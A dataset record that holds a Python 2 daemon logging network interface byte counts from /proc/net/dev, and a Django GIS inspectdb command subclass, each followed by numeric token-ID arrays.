# Based on previous work by
# Charles Menguy (see: http://stackoverflow.com/questions/10217067/implementing-a-full-python-unix-style-daemon-process)
# and Sander Marechal (see: http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/)
# Adapted by M.Hendrix [2015]
# daemon13.py measures the network traffic.
# These are all counters, therefore no averaging is needed.
import syslog, traceback
import os, sys, time, math
from libdaemon import Daemon
import ConfigParser
DEBUG = False
IS_SYSTEMD = os.path.isfile('/bin/journalctl')
leaf = os.path.realpath(__file__).split('/')[-2]
class MyDaemon(Daemon):
def run(self):
iniconf = ConfigParser.ConfigParser()
inisection = "13"
home = os.path.expanduser('~')
s = iniconf.read(home + '/' + leaf + '/config.ini')
if DEBUG: print "config file : ", s
if DEBUG: print iniconf.items(inisection)
reportTime = iniconf.getint(inisection, "reporttime")
cycles = iniconf.getint(inisection, "cycles")
samplesperCycle = iniconf.getint(inisection, "samplespercycle")
flock = iniconf.get(inisection, "lockfile")
fdata = iniconf.get(inisection, "resultfile")
samples = samplesperCycle * cycles # total number of samples averaged
sampleTime = reportTime/samplesperCycle # time [s] between samples
cycleTime = samples * sampleTime # time [s] per cycle
data = [] # array for holding sampledata
while True:
try:
startTime = time.time()
result = do_work().split(',')
data = map(int, result)
# report sample average
if (startTime % reportTime < sampleTime):
if DEBUG:print data
averages = data
#averages = sum(data[:]) / len(data)
#if DEBUG:print averages
do_report(averages, flock, fdata)
waitTime = sampleTime - (time.time() - startTime) - (startTime%sampleTime)
if (waitTime > 0):
if DEBUG:print "Waiting {0} s".format(waitTime)
time.sleep(waitTime)
except Exception as e:
if DEBUG:
print "Unexpected error:"
print e.message
syslog.syslog(syslog.LOG_ALERT,e.__doc__)
syslog_trace(traceback.format_exc())
raise
def syslog_trace(trace):
# Log a python stack trace to syslog
log_lines = trace.split('\n')
for line in log_lines:
if line:
syslog.syslog(syslog.LOG_ALERT,line)
def cat(filename):
ret = ""
if os.path.isfile(filename):
with open(filename,'r') as f:
ret = f.read().strip('\n')
return ret
def do_work():
# 6 #datapoints gathered here
# Network traffic
wlIn = 0
wlOut = 0
etIn = 0
etOut = 0
loIn = 0
loOut = 0
list = cat("/proc/net/dev").replace(":"," ").splitlines()
for line in range(2,len(list)):
device = list[line].split()[0]
if device == "lo":
loIn = int(list[line].split()[1])
loOut = int(list[line].split()[9])
if device == "eth0":
etIn = int(list[line].split()[1])
etOut = int(list[line].split()[9])
if device == "wlan0":
wlIn = int(list[line].split()[1])
wlOut = int(list[line].split()[9])
if device == "wlan1":
wlIn += int(list[line].split()[1])
wlOut += int(list[line].split()[9])
return '{0}, {1}, {2}, {3}, {4}, {5}'.format(loIn, loOut, etIn, etOut, wlIn, wlOut)
def do_report(result, flock, fdata):
# Get the time and date in human-readable form and UN*X-epoch...
outDate = time.strftime('%Y-%m-%dT%H:%M:%S, %s')
result = ', '.join(map(str, result))
lock(flock)
with open(fdata, 'a') as f:
f.write('{0}, {1}\n'.format(outDate, result) )
unlock(flock)
def lock(fname):
open(fname, 'a').close()
def unlock(fname):
if os.path.isfile(fname):
os.remove(fname)
if __name__ == "__main__":
daemon = MyDaemon('/tmp/' + leaf + '/13.pid')
if len(sys.argv) == 2:
if 'start' == sys.argv[1]:
daemon.start()
elif 'stop' == sys.argv[1]:
daemon.stop()
elif 'restart' == sys.argv[1]:
daemon.restart()
elif 'foreground' == sys.argv[1]:
# assist with debugging.
print "Debug-mode started. Use <Ctrl>+C to stop."
DEBUG = True
if DEBUG:
logtext = "Daemon logging is ON"
syslog.syslog(syslog.LOG_DEBUG, logtext)
daemon.run()
else:
print "Unknown command"
sys.exit(2)
sys.exit(0)
else:
print "usage: {0!s} start|stop|restart|foreground".format(sys.argv[0])
sys.exit(2)
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
3,
21311,
641,
4136,
1736,
701,
199,
3,
6659,
2978,
603,
287,
6051,
89,
334,
3239,
26,
1455,
921,
23153,
14,
957,
15,
16069,
15,
7759,
1196,
19338,
15,
21463,
316,
13,
65,
13,
2861,
13,
1548,
13,
11864,
13,
2487,
13,
10824,
13,
1412,
9,
199,
3,
436,
428,
11438,
603,
1530,
335,
279,
334,
3239,
26,
1455,
921,
1544,
14,
6532,
74,
3258,
14,
957,
15,
19813,
15,
9488,
15,
996,
15,
65,
63,
4129,
63,
11864,
63,
5135,
63,
10824,
63,
262,
63,
1548,
24793,
199,
199,
3,
4431,
18309,
701,
603,
14,
40,
500,
1904,
359,
7806,
61,
199,
199,
3,
11128,
969,
14,
647,
17616,
1482,
314,
2784,
15602,
14,
199,
3,
5723,
787,
1006,
21272,
12,
16119,
949,
282,
422,
7407,
365,
4346,
14,
199,
199,
646,
22112,
12,
5190,
199,
646,
747,
12,
984,
12,
900,
12,
3473,
199,
504,
1973,
10824,
492,
577,
8770,
199,
646,
14196,
199,
199,
5287,
275,
756,
199,
1311,
63,
12711,
36,
275,
747,
14,
515,
14,
6292,
2336,
1393,
15,
7067,
8077,
358,
199,
8914,
275,
747,
14,
515,
14,
11091,
3460,
493,
28634,
1294,
25804,
18,
61,
199,
199,
533,
4932,
20555,
8,
20555,
304,
523,
347,
1255,
8,
277,
304,
272,
20364,
2190,
275,
14196,
14,
15218,
342,
272,
315,
572,
414,
275,
298,
969,
2,
272,
5629,
275,
747,
14,
515,
14,
12131,
21114,
358,
272,
308,
275,
20364,
2190,
14,
739,
8,
4219,
435,
7324,
435,
11747,
435,
1994,
888,
14,
2730,
358,
272,
340,
10990,
26,
870,
298,
888,
570,
520,
3872,
308,
272,
340,
10990,
26,
870,
20364,
2190,
14,
1744,
8,
262,
572,
414,
9,
272,
3622,
1366,
275,
20364,
2190,
14,
26627,
8,
262,
572,
414,
12,
298,
3070,
521,
531,
272,
19001,
275,
20364,
2190,
14,
26627,
8,
262,
572,
414,
12,
298,
23356,
531,
272,
5845,
529,
15302,
275,
20364,
2190,
14,
26627,
8,
262,
572,
414,
12,
298,
3356,
529,
7612,
531,
272,
289,
831,
275,
20364,
2190,
14,
362,
8,
262,
572,
414,
12,
298,
26204,
531,
272,
289,
576,
275,
20364,
2190,
14,
362,
8,
262,
572,
414,
12,
298,
1099,
493,
531,
339,
5845,
275,
5845,
529,
15302,
627,
19001,
4519,
327,
3141,
1329,
402,
5845,
8095,
68,
272,
2690,
1366,
275,
3622,
1366,
15,
3356,
529,
15302,
260,
327,
900,
359,
83,
61,
3382,
5845,
272,
8643,
1366,
275,
5845,
627,
2690,
1366,
4483,
327,
900,
359,
83,
61,
1126,
8643,
339,
666,
275,
942,
2476,
755,
327,
1625,
367,
17573,
2690,
576,
339,
1830,
715,
26,
489,
862,
26,
267,
28517,
275,
900,
14,
521,
342,
398,
754,
275,
886,
63,
800,
1252,
1294,
11917,
267,
666,
275,
2341,
8,
442,
12,
754,
9,
398,
327,
3622,
2690,
8095,
267,
340,
334,
28276,
450,
3622,
1366,
665,
2690,
1366,
304,
881,
340,
10990,
26,
1361,
666,
881,
8095,
83,
275,
666,
881,
327,
8536,
83,
275,
3089,
8,
576,
1491,
566,
1182,
822,
8,
576,
9,
881,
327,
692,
10990,
26,
1361,
8095,
83,
881,
886,
63,
3070,
8,
8536,
83,
12,
289,
831,
12,
289,
576,
9,
398,
3618,
1366,
275,
2690,
1366,
446,
334,
521,
14,
521,
342,
446,
28517,
9,
446,
334,
28276,
5,
3271,
1366,
9,
267,
340,
334,
2573,
1366,
690,
378,
304,
881,
340,
10990,
26,
1361,
298,
19189,
469,
16,
93,
308,
1674,
908,
8,
2573,
1366,
9,
881,
900,
14,
4532,
8,
2573,
1366,
9,
489,
871,
2186,
465,
325,
26,
267,
340,
10990,
26,
881,
870,
298,
8708,
1125,
5424,
881,
870,
325,
14,
1188,
267,
22112,
14,
16878,
8,
16878,
14,
4947,
63,
748,
5397,
12,
69,
855,
1301,
3368,
267,
22112,
63,
3446,
8,
6894,
14,
908,
63,
2804,
1012,
267,
746,
199,
199,
318,
22112,
63,
3446,
8,
3446,
304,
523,
327,
5297,
282,
2366,
3464,
3307,
370,
22112,
523,
943,
63,
1278,
275,
3307,
14,
1294,
2258,
78,
358,
523,
367,
1004,
315,
943,
63,
1278,
26,
272,
340,
1004,
26,
489,
22112,
14,
16878,
8,
16878,
14,
4947,
63,
748,
5397,
12,
604,
9,
199,
199,
318,
6230,
8,
1501,
304,
523,
2203,
275,
3087,
523,
340,
747,
14,
515,
14,
6292,
8,
1501,
304,
272,
543,
1551,
8,
1501,
2584,
82,
358,
465,
289,
26,
489,
2203,
275,
289,
14,
739,
1252,
1913,
2258,
78,
358,
523,
372,
2203,
199,
199,
318,
886,
63,
800,
837,
523,
327,
1227,
327,
576,
3438,
16072,
31051,
2348,
523,
327,
7220,
15602,
523,
336,
76,
607,
275,
378,
523,
336,
76,
2204,
275,
378,
523,
10844,
607,
275,
378,
523,
10844,
2204,
275,
378,
523,
560,
607,
275,
378,
523,
560,
2204,
275,
378,
819,
769,
275,
6230,
4769,
4687,
15,
846,
15,
2374,
3471,
1814,
20308,
2266,
298,
680,
7644,
342,
523,
367,
1004,
315,
1425,
8,
18,
12,
552,
8,
513,
2298,
272,
2243,
275,
769,
59,
604,
1055,
1294,
3430,
16,
61,
272,
340,
2243,
508,
298,
320,
582,
489,
560,
607,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
560,
2204,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
272,
340,
2243,
508,
298,
12391,
16,
582,
489,
10844,
607,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
10844,
2204,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
272,
340,
2243,
508,
298,
87,
1502,
16,
582,
489,
336,
76,
607,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
336,
76,
2204,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
272,
340,
2243,
508,
298,
87,
1502,
17,
582,
489,
336,
76,
607,
847,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
336,
76,
2204,
847,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
819,
372,
5041,
16,
1386,
469,
17,
1386,
469,
18,
1386,
469,
19,
1386,
469,
20,
1386,
469,
21,
5285,
908,
8,
320,
607,
12,
560,
2204,
12,
10844,
607,
12,
10844,
2204,
12,
336,
76,
607,
12,
336,
76,
2204,
9,
199,
199,
318,
886,
63,
3070,
8
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
3,
21311,
641,
4136,
1736,
701,
199,
3,
6659,
2978,
603,
287,
6051,
89,
334,
3239,
26,
1455,
921,
23153,
14,
957,
15,
16069,
15,
7759,
1196,
19338,
15,
21463,
316,
13,
65,
13,
2861,
13,
1548,
13,
11864,
13,
2487,
13,
10824,
13,
1412,
9,
199,
3,
436,
428,
11438,
603,
1530,
335,
279,
334,
3239,
26,
1455,
921,
1544,
14,
6532,
74,
3258,
14,
957,
15,
19813,
15,
9488,
15,
996,
15,
65,
63,
4129,
63,
11864,
63,
5135,
63,
10824,
63,
262,
63,
1548,
24793,
199,
199,
3,
4431,
18309,
701,
603,
14,
40,
500,
1904,
359,
7806,
61,
199,
199,
3,
11128,
969,
14,
647,
17616,
1482,
314,
2784,
15602,
14,
199,
3,
5723,
787,
1006,
21272,
12,
16119,
949,
282,
422,
7407,
365,
4346,
14,
199,
199,
646,
22112,
12,
5190,
199,
646,
747,
12,
984,
12,
900,
12,
3473,
199,
504,
1973,
10824,
492,
577,
8770,
199,
646,
14196,
199,
199,
5287,
275,
756,
199,
1311,
63,
12711,
36,
275,
747,
14,
515,
14,
6292,
2336,
1393,
15,
7067,
8077,
358,
199,
8914,
275,
747,
14,
515,
14,
11091,
3460,
493,
28634,
1294,
25804,
18,
61,
199,
199,
533,
4932,
20555,
8,
20555,
304,
523,
347,
1255,
8,
277,
304,
272,
20364,
2190,
275,
14196,
14,
15218,
342,
272,
315,
572,
414,
275,
298,
969,
2,
272,
5629,
275,
747,
14,
515,
14,
12131,
21114,
358,
272,
308,
275,
20364,
2190,
14,
739,
8,
4219,
435,
7324,
435,
11747,
435,
1994,
888,
14,
2730,
358,
272,
340,
10990,
26,
870,
298,
888,
570,
520,
3872,
308,
272,
340,
10990,
26,
870,
20364,
2190,
14,
1744,
8,
262,
572,
414,
9,
272,
3622,
1366,
275,
20364,
2190,
14,
26627,
8,
262,
572,
414,
12,
298,
3070,
521,
531,
272,
19001,
275,
20364,
2190,
14,
26627,
8,
262,
572,
414,
12,
298,
23356,
531,
272,
5845,
529,
15302,
275,
20364,
2190,
14,
26627,
8,
262,
572,
414,
12,
298,
3356,
529,
7612,
531,
272,
289,
831,
275,
20364,
2190,
14,
362,
8,
262,
572,
414,
12,
298,
26204,
531,
272,
289,
576,
275,
20364,
2190,
14,
362,
8,
262,
572,
414,
12,
298,
1099,
493,
531,
339,
5845,
275,
5845,
529,
15302,
627,
19001,
4519,
327,
3141,
1329,
402,
5845,
8095,
68,
272,
2690,
1366,
275,
3622,
1366,
15,
3356,
529,
15302,
260,
327,
900,
359,
83,
61,
3382,
5845,
272,
8643,
1366,
275,
5845,
627,
2690,
1366,
4483,
327,
900,
359,
83,
61,
1126,
8643,
339,
666,
275,
942,
2476,
755,
327,
1625,
367,
17573,
2690,
576,
339,
1830,
715,
26,
489,
862,
26,
267,
28517,
275,
900,
14,
521,
342,
398,
754,
275,
886,
63,
800,
1252,
1294,
11917,
267,
666,
275,
2341,
8,
442,
12,
754,
9,
398,
327,
3622,
2690,
8095,
267,
340,
334,
28276,
450,
3622,
1366,
665,
2690,
1366,
304,
881,
340,
10990,
26,
1361,
666,
881,
8095,
83,
275,
666,
881,
327,
8536,
83,
275,
3089,
8,
576,
1491,
566,
1182,
822,
8,
576,
9,
881,
327,
692,
10990,
26,
1361,
8095,
83,
881,
886,
63,
3070,
8,
8536,
83,
12,
289,
831,
12,
289,
576,
9,
398,
3618,
1366,
275,
2690,
1366,
446,
334,
521,
14,
521,
342,
446,
28517,
9,
446,
334,
28276,
5,
3271,
1366,
9,
267,
340,
334,
2573,
1366,
690,
378,
304,
881,
340,
10990,
26,
1361,
298,
19189,
469,
16,
93,
308,
1674,
908,
8,
2573,
1366,
9,
881,
900,
14,
4532,
8,
2573,
1366,
9,
489,
871,
2186,
465,
325,
26,
267,
340,
10990,
26,
881,
870,
298,
8708,
1125,
5424,
881,
870,
325,
14,
1188,
267,
22112,
14,
16878,
8,
16878,
14,
4947,
63,
748,
5397,
12,
69,
855,
1301,
3368,
267,
22112,
63,
3446,
8,
6894,
14,
908,
63,
2804,
1012,
267,
746,
199,
199,
318,
22112,
63,
3446,
8,
3446,
304,
523,
327,
5297,
282,
2366,
3464,
3307,
370,
22112,
523,
943,
63,
1278,
275,
3307,
14,
1294,
2258,
78,
358,
523,
367,
1004,
315,
943,
63,
1278,
26,
272,
340,
1004,
26,
489,
22112,
14,
16878,
8,
16878,
14,
4947,
63,
748,
5397,
12,
604,
9,
199,
199,
318,
6230,
8,
1501,
304,
523,
2203,
275,
3087,
523,
340,
747,
14,
515,
14,
6292,
8,
1501,
304,
272,
543,
1551,
8,
1501,
2584,
82,
358,
465,
289,
26,
489,
2203,
275,
289,
14,
739,
1252,
1913,
2258,
78,
358,
523,
372,
2203,
199,
199,
318,
886,
63,
800,
837,
523,
327,
1227,
327,
576,
3438,
16072,
31051,
2348,
523,
327,
7220,
15602,
523,
336,
76,
607,
275,
378,
523,
336,
76,
2204,
275,
378,
523,
10844,
607,
275,
378,
523,
10844,
2204,
275,
378,
523,
560,
607,
275,
378,
523,
560,
2204,
275,
378,
819,
769,
275,
6230,
4769,
4687,
15,
846,
15,
2374,
3471,
1814,
20308,
2266,
298,
680,
7644,
342,
523,
367,
1004,
315,
1425,
8,
18,
12,
552,
8,
513,
2298,
272,
2243,
275,
769,
59,
604,
1055,
1294,
3430,
16,
61,
272,
340,
2243,
508,
298,
320,
582,
489,
560,
607,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
560,
2204,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
272,
340,
2243,
508,
298,
12391,
16,
582,
489,
10844,
607,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
10844,
2204,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
272,
340,
2243,
508,
298,
87,
1502,
16,
582,
489,
336,
76,
607,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
336,
76,
2204,
275,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
272,
340,
2243,
508,
298,
87,
1502,
17,
582,
489,
336,
76,
607,
847,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
17,
566,
489,
336,
76,
2204,
847,
1109,
8,
513,
59,
604,
1055,
1294,
3430,
25,
566,
819,
372,
5041,
16,
1386,
469,
17,
1386,
469,
18,
1386,
469,
19,
1386,
469,
20,
1386,
469,
21,
5285,
908,
8,
320,
607,
12,
560,
2204,
12,
10844,
607,
12,
10844,
2204,
12,
336,
76,
607,
12,
336,
76,
2204,
9,
199,
199,
318,
886,
63,
3070,
8,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
simbha/mAngE-Gin
|
lib/django/contrib/gis/management/commands/inspectdb.py
|
40
|
1493
|
from django.core.management.commands.inspectdb import Command as InspectDBCommand
class Command(InspectDBCommand):
db_module = 'django.contrib.gis.db'
gis_tables = {}
def get_field_type(self, connection, table_name, row):
field_type, field_params, field_notes = super(Command, self).get_field_type(connection, table_name, row)
if field_type == 'GeometryField':
geo_col = row[0]
# Getting a more specific field type and any additional parameters
# from the `get_geometry_type` routine for the spatial backend.
field_type, geo_params = connection.introspection.get_geometry_type(table_name, geo_col)
field_params.update(geo_params)
# Adding the table name and column to the `gis_tables` dictionary, this
# allows us to track which tables need a GeoManager.
if table_name in self.gis_tables:
self.gis_tables[table_name].append(geo_col)
else:
self.gis_tables[table_name] = [geo_col]
return field_type, field_params, field_notes
def get_meta(self, table_name, constraints):
meta_lines = super(Command, self).get_meta(table_name, constraints)
if table_name in self.gis_tables:
# If the table is a geographic one, then we need make
# GeoManager the default manager for the model.
meta_lines.insert(0, ' objects = models.GeoManager()')
return meta_lines
|
mit
|
[
504,
1639,
14,
1018,
14,
8110,
14,
4405,
14,
10955,
697,
492,
5817,
465,
12062,
1764,
2846,
3110,
421,
199,
533,
5817,
8,
13962,
1764,
2846,
3110,
304,
272,
1592,
63,
578,
275,
283,
1176,
14,
2828,
14,
5668,
14,
697,
7,
272,
486,
374,
63,
5987,
275,
1052,
339,
347,
664,
63,
698,
63,
466,
8,
277,
12,
1950,
12,
1817,
63,
354,
12,
1962,
304,
267,
901,
63,
466,
12,
901,
63,
1162,
12,
901,
63,
5983,
275,
1613,
8,
3110,
12,
291,
680,
362,
63,
698,
63,
466,
8,
2105,
12,
1817,
63,
354,
12,
1962,
9,
267,
340,
901,
63,
466,
508,
283,
6831,
792,
356,
288,
8509,
63,
761,
275,
1962,
59,
16,
61,
288,
327,
20703,
282,
1655,
2488,
901,
730,
436,
1263,
4722,
2633,
288,
327,
687,
314,
658,
362,
63,
7660,
63,
466,
64,
12981,
367,
314,
11469,
4865,
14,
288,
901,
63,
466,
12,
8509,
63,
1162,
275,
1950,
14,
21627,
14,
362,
63,
7660,
63,
466,
8,
1224,
63,
354,
12,
8509,
63,
761,
9,
288,
901,
63,
1162,
14,
873,
8,
6721,
63,
1162,
9,
288,
327,
12934,
314,
1817,
536,
436,
2763,
370,
314,
658,
5668,
63,
5987,
64,
2600,
12,
642,
288,
327,
6127,
2739,
370,
4426,
1314,
6716,
1929,
282,
8875,
2988,
14,
288,
340,
1817,
63,
354,
315,
291,
14,
5668,
63,
5987,
26,
355,
291,
14,
5668,
63,
5987,
59,
1224,
63,
354,
1055,
740,
8,
6721,
63,
761,
9,
288,
587,
26,
355,
291,
14,
5668,
63,
5987,
59,
1224,
63,
354,
61,
275,
359,
6721,
63,
761,
61,
267,
372,
901,
63,
466,
12,
901,
63,
1162,
12,
901,
63,
5983,
339,
347,
664,
63,
2024,
8,
277,
12,
1817,
63,
354,
12,
9565,
304,
267,
3404,
63,
1278,
275,
1613,
8,
3110,
12,
291,
680,
362,
63,
2024,
8,
1224,
63,
354,
12,
9565,
9,
267,
340,
1817,
63,
354,
315,
291,
14,
5668,
63,
5987,
26,
288,
327,
982,
314,
1817,
365,
282,
25637,
1373,
12,
2066,
781,
1929,
1852,
288,
327,
8875,
2988,
314,
849,
5256,
367,
314,
1402,
14,
288,
3404,
63,
1278,
14,
3176,
8,
16,
12,
283,
259,
2251,
275,
1709,
14,
10748,
2988,
19004,
267,
372,
3404,
63,
1278,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1639,
14,
1018,
14,
8110,
14,
4405,
14,
10955,
697,
492,
5817,
465,
12062,
1764,
2846,
3110,
421,
199,
533,
5817,
8,
13962,
1764,
2846,
3110,
304,
272,
1592,
63,
578,
275,
283,
1176,
14,
2828,
14,
5668,
14,
697,
7,
272,
486,
374,
63,
5987,
275,
1052,
339,
347,
664,
63,
698,
63,
466,
8,
277,
12,
1950,
12,
1817,
63,
354,
12,
1962,
304,
267,
901,
63,
466,
12,
901,
63,
1162,
12,
901,
63,
5983,
275,
1613,
8,
3110,
12,
291,
680,
362,
63,
698,
63,
466,
8,
2105,
12,
1817,
63,
354,
12,
1962,
9,
267,
340,
901,
63,
466,
508,
283,
6831,
792,
356,
288,
8509,
63,
761,
275,
1962,
59,
16,
61,
288,
327,
20703,
282,
1655,
2488,
901,
730,
436,
1263,
4722,
2633,
288,
327,
687,
314,
658,
362,
63,
7660,
63,
466,
64,
12981,
367,
314,
11469,
4865,
14,
288,
901,
63,
466,
12,
8509,
63,
1162,
275,
1950,
14,
21627,
14,
362,
63,
7660,
63,
466,
8,
1224,
63,
354,
12,
8509,
63,
761,
9,
288,
901,
63,
1162,
14,
873,
8,
6721,
63,
1162,
9,
288,
327,
12934,
314,
1817,
536,
436,
2763,
370,
314,
658,
5668,
63,
5987,
64,
2600,
12,
642,
288,
327,
6127,
2739,
370,
4426,
1314,
6716,
1929,
282,
8875,
2988,
14,
288,
340,
1817,
63,
354,
315,
291,
14,
5668,
63,
5987,
26,
355,
291,
14,
5668,
63,
5987,
59,
1224,
63,
354,
1055,
740,
8,
6721,
63,
761,
9,
288,
587,
26,
355,
291,
14,
5668,
63,
5987,
59,
1224,
63,
354,
61,
275,
359,
6721,
63,
761,
61,
267,
372,
901,
